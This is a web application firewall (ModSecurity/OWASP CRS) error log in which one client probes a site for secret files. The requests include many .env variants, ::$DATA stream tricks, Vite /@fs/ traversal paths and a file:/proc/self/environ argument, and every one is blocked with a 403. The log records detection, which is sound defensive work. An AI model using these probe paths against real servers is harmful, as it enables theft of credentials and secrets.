[Mon Oct 26 14:54:30.182653 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:32912] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5rJoBe2aZMAtY1nEPQAAAA8"]
[Mon Oct 26 14:54:30.183348 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:32912] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5rJoBe2aZMAtY1nEPQAAAA8"]
[Mon Oct 26 14:54:30.183715 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:32912] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5rJoBe2aZMAtY1nEPQAAAA8"]
[Mon Oct 26 14:54:30.197780 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5qFL9aMETz-8AU8c-QAAAAQ"]
[Mon Oct 26 14:54:30.198210 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5qFL9aMETz-8AU8c-QAAAAQ"]
[Mon Oct 26 14:54:30.198449 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h5qFL9aMETz-8AU8c-QAAAAQ"]
[Mon Oct 26 14:54:30.200240 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5qrAMmuTbk6594wUlgAAAAA"]
[Mon Oct 26 14:54:30.200518 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5qrAMmuTbk6594wUlgAAAAA"]
[Mon Oct 26 14:54:30.200752 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5qrAMmuTbk6594wUlgAAAAA"]
[Mon Oct 26 14:54:30.231047 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at-h5iVsqF6Prn45f_BAmAAAABM"]
[Mon Oct 26 14:54:30.231704 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at-h5iVsqF6Prn45f_BAmAAAABM"]
[Mon Oct 26 14:54:30.232029 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at-h5iVsqF6Prn45f_BAmAAAABM"]
[Mon Oct 26 14:54:30.564034 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:32912] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at-h5rJoBe2aZMAtY1nEPgAAAA8"]
[Mon Oct 26 14:54:30.564437 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:32912] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at-h5rJoBe2aZMAtY1nEPgAAAA8"]
[Mon Oct 26 14:54:30.564691 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:32912] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at-h5rJoBe2aZMAtY1nEPgAAAA8"]
[Mon Oct 26 14:54:30.598813 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-h5iE-ZP4qhScpL9OPFgAAAAU"]
[Mon Oct 26 14:54:30.631263 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-h5iE-ZP4qhScpL9OPFgAAAAU"]
[Mon Oct 26 14:54:30.631622 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at-h5iE-ZP4qhScpL9OPFgAAAAU"]
[Mon Oct 26 14:54:30.599624 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5mjM5XERzcmv0SW_pwAAAAs"]
[Mon Oct 26 14:54:30.632486 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5mjM5XERzcmv0SW_pwAAAAs"]
[Mon Oct 26 14:54:30.632748 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at-h5mjM5XERzcmv0SW_pwAAAAs"]
[Mon Oct 26 14:54:30.605470 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at-h5mzmSpSsBytZ44hiDAAAAAg"]
[Mon Oct 26 14:54:30.636716 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at-h5mzmSpSsBytZ44hiDAAAAAg"]
[Mon Oct 26 14:54:30.637003 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at-h5mzmSpSsBytZ44hiDAAAAAg"]
[Mon Oct 26 14:54:30.606274 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at-h5tBD9nokEg9_vmbOBAAAAAk"]
[Mon Oct 26 14:54:30.637719 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at-h5tBD9nokEg9_vmbOBAAAAAk"]
[Mon Oct 26 14:54:30.638044 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at-h5tBD9nokEg9_vmbOBAAAAAk"]
[Mon Oct 26 14:54:30.607236 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at-h5iVsqF6Prn45f_BAmQAAABM"]
[Mon Oct 26 14:54:30.638780 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at-h5iVsqF6Prn45f_BAmQAAABM"]
[Mon Oct 26 14:54:30.639054 2026] [security2:error] [pid 3084000:tid 3084000] [client 34.39.215.232:32956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at-h5iVsqF6Prn45f_BAmQAAABM"]
[Mon Oct 26 14:54:30.618306 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-h5qFL9aMETz-8AU8c-gAAAAQ"]
[Mon Oct 26 14:54:30.659091 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-h5qFL9aMETz-8AU8c-gAAAAQ"]
[Mon Oct 26 14:54:30.659364 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at-h5qFL9aMETz-8AU8c-gAAAAQ"]
[Mon Oct 26 14:54:30.619077 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5qrAMmuTbk6594wUlwAAAAA"]
[Mon Oct 26 14:54:30.660080 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5qrAMmuTbk6594wUlwAAAAA"]
[Mon Oct 26 14:54:30.660329 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at-h5qrAMmuTbk6594wUlwAAAAA"]
[Mon Oct 26 14:54:30.624662 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:32930] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at-h5ntG0gh1_iD5Sux2HAAAAAw"]
[Mon Oct 26 14:54:30.674399 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:32930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at-h5ntG0gh1_iD5Sux2HAAAAAw"]
[Mon Oct 26 14:54:30.674764 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:32930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at-h5ntG0gh1_iD5Sux2HAAAAAw"]
